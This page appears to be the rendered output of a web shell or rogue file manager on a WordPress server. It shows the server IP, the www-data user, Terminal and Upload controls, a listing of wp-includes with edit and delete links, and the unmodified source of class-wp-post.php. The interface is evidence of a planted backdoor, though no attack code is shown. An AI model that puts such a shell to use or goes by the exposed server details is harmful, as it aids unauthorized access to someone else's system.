7.4.33 | Linux x86_64
Server128.199.10.0
Userwww-data (uid:33)
PHP7.4.33 (apache2handler)
Terminal
Upload
Files: /var/www/html/wp-includes
View: class-wp-post.php
<?php /** * Post API: WP_Post class * * @package WordPress * @subpackage Post * @since 4.4.0 */ /** * Core class used to implement the WP_Post object. * * @since 3.5.0 * * @property string $page_template * * @property-read int[] $ancestors * @property-read int[] $post_category * @property-read string[] $tags_input */ #[AllowDynamicProperties] final class WP_Post { /** * Post ID. * * @since 3.5.0 * @var int */ public $ID; /** * ID of post author. * * A numeric string, for compatibility reasons. * * @since 3.5.0 * @var string */ public $post_author = '0'; /** * The post's local publication time. * * @since 3.5.0 * @var string */ public $post_date = '0000-00-00 00:00:00'; /** * The post's GMT publication time. * * @since 3.5.0 * @var string */ public $post_date_gmt = '0000-00-00 00:00:00'; /** * The post's content. * * @since 3.5.0 * @var string */ public $post_content = ''; /** * The post's title. * * @since 3.5.0 * @var string */ public $post_title = ''; /** * The post's excerpt. * * @since 3.5.0 * @var string */ public $post_excerpt = ''; /** * The post's status. * * @since 3.5.0 * @var string */ public $post_status = 'publish'; /** * Whether comments are allowed. * * @since 3.5.0 * @var string */ public $comment_status = 'open'; /** * Whether pings are allowed. * * @since 3.5.0 * @var string */ public $ping_status = 'open'; /** * The post's password in plain text. * * @since 3.5.0 * @var string */ public $post_password = ''; /** * The post's slug. * * @since 3.5.0 * @var string */ public $post_name = ''; /** * URLs queued to be pinged. * * @since 3.5.0 * @var string */ public $to_ping = ''; /** * URLs that have been pinged. * * @since 3.5.0 * @var string */ public $pinged = ''; /** * The post's local modified time. * * @since 3.5.0 * @var string */ public $post_modified = '0000-00-00 00:00:00'; /** * The post's GMT modified time. * * @since 3.5.0 * @var string */ public $post_modified_gmt = '0000-00-00 00:00:00'; /** * A utility DB field for post content. * * @since 3.5.0 * @var string */ public $post_content_filtered = ''; /** * ID of a post's parent post. * * @since 3.5.0 * @var int */ public $post_parent = 0; /** * The unique identifier for a post, not necessarily a URL, used as the feed GUID. * * @since 3.5.0 * @var string */ public $guid = ''; /** * A field used for ordering posts. * * @since 3.5.0 * @var int */ public $menu_order = 0; /** * The post's type, like post or page. * * @since 3.5.0 * @var string */ public $post_type = 'post'; /** * An attachment's mime type. * * @since 3.5.0 * @var string */ public $post_mime_type = ''; /** * Cached comment count. * * A numeric string, for compatibility reasons. * * @since 3.5.0 * @var string */ public $comment_count = '0'; /** * Stores the post object's sanitization level. * * Does not correspond to a DB field. * * @since 3.5.0 * @var string */ public $filter; /** * Retrieve WP_Post instance. * * @since 3.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $post_id Post ID. * @return WP_Post|false Post object, false otherwise. */ public static function get_instance( $post_id ) { global $wpdb; $post_id = (int) $post_id; if ( $post_id <= 0 ) { return false; } $_post = wp_cache_get( $post_id, 'posts' ); if ( ! $_post ) { $_post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d LIMIT 1", $post_id ) ); if ( ! $_post ) { return false; } $_post = sanitize_post( $_post, 'raw' ); wp_cache_add( $_post->ID, $_post, 'posts' ); } elseif ( empty( $_post->filter ) || 'raw' !== $_post->filter ) { $_post = sanitize_post( $_post, 'raw' ); } return new WP_Post( $_post ); } /** * Constructor. * * @since 3.5.0 * * @param object $post Post object. */ public function __construct( $post ) { foreach ( get_object_vars( $post ) as $key => $value ) { $this->$key = $value; } } /** * Isset-er. * * @since 3.5.0 * * @param string $key Property to check if set. * @return bool */ public function __isset( $key ) { if ( 'ancestors' === $key ) { return true; } if ( 'page_template' === $key ) { return true; } if ( 'post_category' === $key ) { return true; } if ( 'tags_input' === $key ) { return true; } return metadata_exists( 'post', $this->ID, $key ); } /** * Getter. * * @since 3.5.0 * * @param string $key Key to get. * @return mixed */ public function __get( $key ) { if ( 'page_template' === $key && $this->__isset( $key ) ) { return get_post_meta( $this->ID, '_wp_page_template', true ); } if ( 'post_category' === $key ) { if ( is_object_in_taxonomy( $this->post_type, 'category' ) ) { $terms = get_the_terms( $this, 'category' ); } if ( empty( $terms ) ) { return array(); } return wp_list_pluck( $terms, 'term_id' ); } if ( 'tags_input' === $key ) { if ( is_object_in_taxonomy( $this->post_type, 'post_tag' ) ) { $terms = get_the_terms( $this, 'post_tag' ); } if ( empty( $terms ) ) { return array(); } return wp_list_pluck( $terms, 'name' ); } // Rest of the values need filtering. if ( 'ancestors' === $key ) { $value = get_post_ancestors( $this ); } else { $value = get_post_meta( $this->ID, $key, true ); } if ( $this->filter ) { $value = sanitize_post_field( $key, $value, $this->ID, $this->filter ); } return $value; } /** * {@Missing Summary} * * @since 3.5.0 * * @param string $filter Filter. * @return WP_Post */ public function filter( $filter ) { if ( $this->filter === $filter ) { return $this; } if ( 'raw' === $filter ) { return self::get_instance( $this->ID ); } return sanitize_post( $this, $filter ); } /** * Convert object to array. * * @since 3.5.0 * * @return array Object as array. */ public function to_array() { $post = get_object_vars( $this ); foreach ( array( 'ancestors', 'page_template', 'post_category', 'tags_input' ) as $key ) { if ( $this->__isset( $key ) ) { $post[ $key ] = $this->__get( $key ); } } return $post; } }
NameSizeActions
ID3/--
IXR/--
PHPMailer/--
Requests/--
SimplePie/--
Text/--
abilities-api/--
abilities-api.php23.8KView Edit Del
abilities.php7.8KView Edit Del
admin-bar.php38.4KView Edit Del
ai-client/--
ai-client.php2.5KView Edit Del
assets/--
atomlib.php11.9KView Edit Del
author-template.php19.4KView Edit Del
block-bindings/--
block-bindings.php7.3KView Edit Del
block-editor.php28.1KView Edit Del
block-i18n.json316BView Edit Del
block-patterns/--
block-patterns.php15.2KView Edit Del
block-supports/--
block-template-utils.php61.3KView Edit Del
block-template.php17.8KView Edit Del
blocks/--
blocks.php116.6KView Edit Del
bookmark-template.php12.5KView Edit Del
bookmark.php15.1KView Edit Del
build/--
cache-compat.php10.8KView Edit Del
cache.php13.2KView Edit Del
canonical.php33.8KView Edit Del
capabilities.php42.6KView Edit Del
category-template.php55.6KView Edit Del
category.php12.5KView Edit Del
certificates/--
class-IXR.php2.6KView Edit Del
class-avif-info.php29.3KView Edit Del
class-feed.php539BView Edit Del
class-http.php367BView Edit Del
class-json.php42.7KView Edit Del
class-oembed.php401BView Edit Del
class-phpass.php6.6KView Edit Del
class-phpmailer.php664BView Edit Del
class-pop3.php20.6KView Edit Del
class-requests.php2.2KView Edit Del
class-simplepie.php453BView Edit Del
class-smtp.php457BView Edit Del
class-snoopy.php36.8KView Edit Del
class-walker-category-dropdown.php2.4KView Edit Del
class-walker-category.php8.3KView Edit Del
class-walker-comment.php13.9KView Edit Del
class-walker-nav-menu.php11.8KView Edit Del
class-walker-page-dropdown.php2.6KView Edit Del
class-walker-page.php7.4KView Edit Del
class-wp-admin-bar.php17.6KView Edit Del
class-wp-ajax-response.php5.1KView Edit Del
class-wp-application-passwords.php16.7KView Edit Del
class-wp-block-bindings-registry.php8.1KView Edit Del
class-wp-block-bindings-source.php2.9KView Edit Del
class-wp-block-editor-context.php1.3KView Edit Del
class-wp-block-list.php4.6KView Edit Del
class-wp-block-metadata-registry.php11.6KView Edit Del
class-wp-block-parser-block.php2.5KView Edit Del
class-wp-block-parser-frame.php1.9KView Edit Del
class-wp-block-parser.php11.3KView Edit Del
class-wp-block-pattern-categories-registry.php4.3KView Edit Del
class-wp-block-patterns-registry.php10.1KView Edit Del
class-wp-block-processor.php68.3KView Edit Del
class-wp-block-styles-registry.php6.3KView Edit Del
class-wp-block-supports.php6.4KView Edit Del
class-wp-block-template.php2KView Edit Del
class-wp-block-templates-registry.php6.9KView Edit Del
class-wp-block-type-registry.php4.9KView Edit Del
class-wp-block-type.php16.8KView Edit Del
class-wp-block.php24.1KView Edit Del
class-wp-classic-to-block-menu-converter.php3.9KView Edit Del
class-wp-comment-query.php47.5KView Edit Del
class-wp-comment.php9.2KView Edit Del
class-wp-connector-registry.php14.1KView Edit Del
class-wp-customize-control.php25.5KView Edit Del
class-wp-customize-manager.php198.1KView Edit Del
class-wp-customize-nav-menus.php56.6KView Edit Del
class-wp-customize-panel.php10.5KView Edit Del
class-wp-customize-section.php10.9KView Edit Del
class-wp-customize-setting.php29.3KView Edit Del
class-wp-customize-widgets.php70.9KView Edit Del
class-wp-date-query.php35.1KView Edit Del
class-wp-dependencies.php16.7KView Edit Del
class-wp-dependency.php2.6KView Edit Del
class-wp-duotone.php40KView Edit Del
class-wp-editor.php70.5KView Edit Del
class-wp-embed.php15.5KView Edit Del
class-wp-error.php7.3KView Edit Del
class-wp-exception.php253BView Edit Del
class-wp-fatal-error-handler.php8KView Edit Del
class-wp-feed-cache-transient.php3.2KView Edit Del
class-wp-feed-cache.php969BView Edit Del
class-wp-hook.php16.2KView Edit Del
class-wp-http-cookie.php7.1KView Edit Del
class-wp-http-curl.php13KView Edit Del
class-wp-http-encoding.php6.5KView Edit Del
class-wp-http-ixr-client.php3.4KView Edit Del
class-wp-http-proxy.php5.8KView Edit Del
class-wp-http-requests-hooks.php2KView Edit Del
class-wp-http-requests-response.php4.1KView Edit Del
class-wp-http-response.php2.9KView Edit Del
class-wp-http-streams.php16.4KView Edit Del
class-wp-http.php40.7KView Edit Del
class-wp-icons-registry.php7.7KView Edit Del
class-wp-image-editor-gd.php20.2KView Edit Del
class-wp-image-editor-imagick.php36.1KView Edit Del
class-wp-image-editor.php17KView Edit Del
class-wp-list-util.php7.3KView Edit Del
class-wp-locale-switcher.php6.6KView Edit Del
class-wp-locale.php16.5KView Edit Del
class-wp-matchesmapregex.php1.8KView Edit Del
class-wp-meta-query.php29.8KView Edit Del
class-wp-metadata-lazyloader.php6.7KView Edit Del
class-wp-navigation-fallback.php9KView Edit Del
class-wp-network-query.php19.3KView Edit Del
class-wp-network.php12KView Edit Del
class-wp-object-cache.php17.1KView Edit Del
class-wp-oembed-controller.php6.7KView Edit Del
class-wp-oembed.php30.9KView Edit Del
class-wp-paused-extensions-storage.php4.9KView Edit Del
class-wp-phpmailer.php4.2KView Edit Del
class-wp-plugin-dependencies.php24.6KView Edit Del
class-wp-post-type.php30KView Edit Del
class-wp-post.php6.3KView Edit Del
class-wp-query.php159.5KView Edit Del
class-wp-recovery-mode-cookie-service.php6.7KView Edit Del
class-wp-recovery-mode-email-service.php10.9KView Edit Del
class-wp-recovery-mode-key-service.php4.8KView Edit Del
class-wp-recovery-mode-link-service.php3.4KView Edit Del
class-wp-recovery-mode.php11.2KView Edit Del
class-wp-rewrite.php62.2KView Edit Del
class-wp-role.php2.5KView Edit Del
class-wp-roles.php9.1KView Edit Del
class-wp-script-modules.php39.6KView Edit Del
class-wp-scripts.php35.9KView Edit Del
class-wp-session-tokens.php7.1KView Edit Del
class-wp-simplepie-file.php3.5KView Edit Del
class-wp-simplepie-sanitize-kses.php1.9KView Edit Del
class-wp-site-query.php30.7KView Edit Del
class-wp-site.php7.3KView Edit Del
class-wp-speculation-rules.php7.4KView Edit Del
class-wp-styles.php13KView Edit Del
class-wp-tax-query.php19.1KView Edit Del
class-wp-taxonomy.php18.1KView Edit Del
class-wp-term-query.php39.8KView Edit Del
class-wp-term.php5.1KView Edit Del
class-wp-text-diff-renderer-inline.php979BView Edit Del
class-wp-text-diff-renderer-table.php18.5KView Edit Del
class-wp-textdomain-registry.php10.2KView Edit Del
class-wp-theme-json-data.php1.8KView Edit Del
class-wp-theme-json-resolver.php34.9KView Edit Del
class-wp-theme-json-schema.php7.2KView Edit Del
class-wp-theme-json.php169.6KView Edit Del
class-wp-theme.php64.2KView Edit Del
class-wp-token-map.php27.9KView Edit Del
class-wp-url-pattern-prefixer.php4.7KView Edit Del
class-wp-user-meta-session-tokens.php2.9KView Edit Del
class-wp-user-query.php43.1KView Edit Del
class-wp-user-request.php2.3KView Edit Del
class-wp-user.php22.5KView Edit Del
class-wp-walker.php13KView Edit Del
class-wp-widget-factory.php3.3KView Edit Del
class-wp-widget.php18KView Edit Del
class-wp-xmlrpc-server.php210KView Edit Del
class-wp.php25.8KView Edit Del
class-wpdb.php115.9KView Edit Del
class.wp-dependencies.php373BView Edit Del
class.wp-scripts.php343BView Edit Del
class.wp-styles.php338BView Edit Del
collaboration/--
collaboration.php2.1KView Edit Del
comment-template.php100.8KView Edit Del
comment.php130.9KView Edit Del
compat-utf8.php19.1KView Edit Del
compat.php15.7KView Edit Del
connectors.php23.5KView Edit Del
cron.php43.9KView Edit Del
css/--
customize/--
date.php400BView Edit Del
default-constants.php11.1KView Edit Del
default-filters.php36.5KView Edit Del
default-widgets.php2.2KView Edit Del
deprecated.php189.4KView Edit Del
embed-template.php338BView Edit Del
embed.php38KView Edit Del
error-protection.php4KView Edit Del
feed-atom-comments.php5.4KView Edit Del
feed-atom.php3KView Edit Del
feed-rdf.php2.6KView Edit Del
feed-rss.php1.2KView Edit Del
feed-rss2-comments.php4KView Edit Del
feed-rss2.php3.7KView Edit Del
feed.php24.6KView Edit Del
fonts/--
fonts.php9.6KView Edit Del
formatting.php346.4KView Edit Del
functions.php283.5KView Edit Del
functions.wp-scripts.php20KView Edit Del
functions.wp-styles.php8.5KView Edit Del
general-template.php170.8KView Edit Del
global-styles-and-settings.php20.3KView Edit Del
html-api/--
http.php26.6KView Edit Del
https-detection.php5.7KView Edit Del
https-migration.php4.6KView Edit Del
images/--
interactivity-api/--
js/--
kses.php80.6KView Edit Del
l10n/--
l10n.php69.7KView Edit Del
link-template.php156.4KView Edit Del
load.php55.2KView Edit Del
locale.php162BView Edit Del
media-template.php61.8KView Edit Del
media.php218.5KView Edit Del
meta.php65.2KView Edit Del
ms-blogs.php25.7KView Edit Del
ms-default-constants.php4.8KView Edit Del
ms-default-filters.php6.5KView Edit Del
ms-deprecated.php21.2KView Edit Del
ms-files.php2.8KView Edit Del
ms-functions.php89.7KView Edit Del
ms-load.php19.6KView Edit Del
ms-network.php3.7KView Edit Del
ms-settings.php4.1KView Edit Del
ms-site.php40.8KView Edit Del
nav-menu-template.php25.4KView Edit Del
nav-menu.php43.2KView Edit Del
option.php102.6KView Edit Del
php-ai-client/--
php-compat/--
pluggable-deprecated.php6.2KView Edit Del
pluggable.php124.6KView Edit Del
plugin.php35.6KView Edit Del
pomo/--
post-formats.php6.9KView Edit Del
post-template.php67KView Edit Del
post-thumbnail-template.php10.6KView Edit Del
post.php289.6KView Edit Del
query.php36.2KView Edit Del
registration-functions.php200BView Edit Del
registration.php200BView Edit Del
rest-api/--
rest-api.php98.5KView Edit Del
revision.php30KView Edit Del
rewrite.php19KView Edit Del
robots-template.php5.1KView Edit Del
rss-functions.php255BView Edit Del
rss.php22.7KView Edit Del
script-loader.php159.3KView Edit Del
script-modules.php11.7KView Edit Del
session.php258BView Edit Del
shortcodes.php23.5KView Edit Del
sitemaps/--
sitemaps.php3.2KView Edit Del
sodium_compat/--
speculative-loading.php8.4KView Edit Del
spl-autoload-compat.php441BView Edit Del
style-engine/--
style-engine.php7.4KView Edit Del
taxonomy.php173KView Edit Del
template-canvas.php544BView Edit Del
template-loader.php4.2KView Edit Del
template.php36KView Edit Del
theme-compat/--
theme-i18n.json1.8KView Edit Del
theme-previews.php2.8KView Edit Del
theme-templates.php4KView Edit Del
theme.json8.8KView Edit Del
theme.php131.5KView Edit Del
update.php37.4KView Edit Del
user.php174.6KView Edit Del
utf8.php7.1KView Edit Del
vars.php6.5KView Edit Del
version.php1.1KView Edit Del
view-transitions.php602BView Edit Del
widgets/--
widgets.php69.2KView Edit Del
wp-db.php445BView Edit Del
wp-diff.php799BView Edit Del